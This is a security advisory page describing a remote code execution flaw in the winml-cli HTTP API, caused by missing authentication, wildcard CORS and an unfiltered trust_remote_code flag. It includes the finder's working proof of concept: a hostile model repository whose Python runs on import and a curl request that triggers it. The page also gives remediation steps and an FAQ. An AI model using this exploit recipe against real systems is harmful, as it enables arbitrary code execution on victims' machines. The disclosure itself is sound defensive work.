GHSA-96p9-rh4f-92cf: Pip/winml-cli vulnerability

Published Sep 8, 2026
·
Updated

Case Description:

MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cliapi.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'alloworigins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trustremotecode' parameter, leading to Remote Code Execution (RCE).

Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.

serve/cliapi.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets alloworigins=[""] (cliapi.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.

build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.frompretrained(..., trustremotecode=True) (autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exitcode: 1 is irrelevant.

Reported Repro Steps:

1. Setup

git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)

cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"modeltype":"pwn","automap":{"AutoConfig":"configurationpwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configurationpwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWNMARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): modeltype = "pwn" EOF 3. Start server

Windows: python -m uvicorn winml.modelkit.serve.cliapi:app --host 127.0.0.1 --port 8000

Linux needs a stub for the Windows-only PDH module (no security relevance):

cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor.pdh") class PdhPoller: def init(s,a,k): pass def start(s,a,k): pass def stop(s,a,k): pass def poll(s,a,k): return {} def sample(s,a,k): return {} def close(s,a,k): pass m.PdhPoller = PdhPoller; m.PDHAVAILABLE = False sys.modules["winml.modelkit.session.monitor.pdh"] = m from winml.modelkit.serve.cliapi import app uvicorn.run(app, host="127.0.0.1", port=8000, loglevel="warning") EOF cd ~/winml-poc && PWNMARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit

curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","outputdir":"/tmp/poc/out","trustremotecode":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616

Affected Software

1 affected componentFixes available
pip/winml-cli<0.4.0
0.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/winml-cli to a version that resolves this vulnerability.

    Fixed in 0.4.0
  2. Configuration

    Set CORS allow_origins to a specific trusted origin (avoid wildcard "*") in serve/cli_api.py (cli_api.py:150; also duplicated at app.py:219) so the localhost-bound endpoint cannot be called from arbitrary websites.

    winml-cli (serve/cli_api.py / app.py) allow_origins = ["*"]
  3. Configuration

    Do not accept or pass the --trust-remote-code flag / JSON trust_remote_code=true from untrusted input. Enforce trust_remote_code=false (or ignore user-supplied trust_remote_code) so AutoConfig.from_pretrained(..., trust_remote_code=True) cannot import attacker-controlled Python from remote model repositories (serve/cli_api.py:_autoconfig.py:191).

    winml-cli / Hugging Face Transformers integration (trust_remote_code) trust_remote_code = false
  4. Compensating control

    Add authentication/authorization to the HTTP endpoints that expose winml CLI commands (serve/cli_api.py) and block unauthenticated access to routes like /v1/cli/build and /v1/cli/config, since the project exposes all winml CLI commands over HTTP without authentication.

Event History

Sep 8, 2026
Advisory Published
via GitHub·09:27 PM
Data Sourced
via GitHub·09:27 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Users running the winml-cli HTTP service on their local machine are exposed if they visit a malicious website. The service binds to localhost by default, but its wildcard CORS policy allows websites to send requests to that local endpoint through the victim's browser.

2

What does an attacker need to achieve code execution?

An attacker needs to induce a user with the local service running to visit an attacker-controlled website. The attack uses the HTTP API to invoke build or config commands with trust_remote_code enabled and a malicious model repository.

3

Does this require the service to be publicly reachable?

No. The described attack targets the localhost-bound service through the user's browser, so external network exposure is not required. Wildcard allowed origins permit a remote website to interact with the local HTTP API.

4

How can I identify a potentially affected setup?

Check whether winml-cli is running its HTTP API service and whether the deployed code exposes CLI commands without authentication while allowing all origins. Setups where build or config commands can receive the trust_remote_code parameter are relevant to the described execution path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203